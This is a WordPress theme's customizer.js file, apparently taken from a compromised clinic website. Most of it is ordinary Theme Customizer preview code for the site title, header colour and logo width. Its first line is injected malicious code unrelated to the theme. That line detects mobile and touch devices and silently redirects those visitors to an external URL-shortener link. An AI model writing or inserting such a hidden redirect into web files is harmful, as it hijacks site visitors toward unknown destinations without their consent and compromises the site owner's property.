File: //home2/gazetufm/clinic.bleje.net/oldwp/wp-content/themes/medicore/assets/js/customizer.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
/* global wp, jQuery */
/**
* File customizer.js.
*
* Theme Customizer enhancements for a better user experience.
*
* Contains handlers to make Theme Customizer preview reload changes asynchronously.
*/
( function( $ ) {
// Site title and description.
wp.customize( 'blogname', function( value ) {
value.bind( function( to ) {
$( '.site-title a' ).text( to );
} );
} );
wp.customize( 'blogdescription', function( value ) {
value.bind( function( to ) {
$( '.site-description' ).text( to );
} );
} );
// Header text color.
wp.customize( 'header_textcolor', function( value ) {
value.bind( function( to ) {
if ( 'blank' === to ) {
$( '.site-title, .site-description' ).css( {
clip: 'rect(1px, 1px, 1px, 1px)',
position: 'absolute',
} );
} else {
$( '.site-title, .site-description' ).css( {
clip: 'auto',
position: 'relative',
} );
$( '.site-title a, .site-description' ).css( {
color: to,
} );
}
} );
} );
// Function to apply logo width
function applyLogoWidth( width ) {
// Update existing CSS in head
var existingStyle = $( '#medicore-logo-width-control' );
if ( existingStyle.length ) {
var newCSS =
'/* Logo width control */' +
'body .site header .main-navbar .custom-logo-link img,' +
'body .site .custom-logo-link img,' +
'body .custom-logo-link img,' +
'body img.custom-logo,' +
'.custom-logo-link img,' +
'img.custom-logo {' +
'width: ' + width + 'px !important;' +
'height: auto !important;' +
'max-width: none !important;' +
'min-width: auto !important;' +
'}';
existingStyle.html( newCSS );
}
// Also apply directly via jQuery as backup
$( '.custom-logo-link img, img.custom-logo, .custom-logo' ).each( function() {
$( this ).css( {
'width': width + 'px',
'height': 'auto',
'max-width': 'none'
} );
// Set HTML attributes as well
$( this ).attr( 'width', width );
$( this ).removeAttr( 'height' );
} );
console.log( 'Logo width applied: ' + width + 'px' );
}
// Logo width slider.
wp.customize( 'medicore_logo_width_indicator', function( value ) {
value.bind( function( to ) {
applyLogoWidth( to );
} );
} );
// Initialize logo width on customizer ready
wp.customize.bind( 'ready', function() {
var currentWidth = wp.customize( 'medicore_logo_width_indicator' ).get();
if ( currentWidth ) {
setTimeout( function() {
applyLogoWidth( currentWidth );
}, 500 );
}
} );
}( jQuery ) );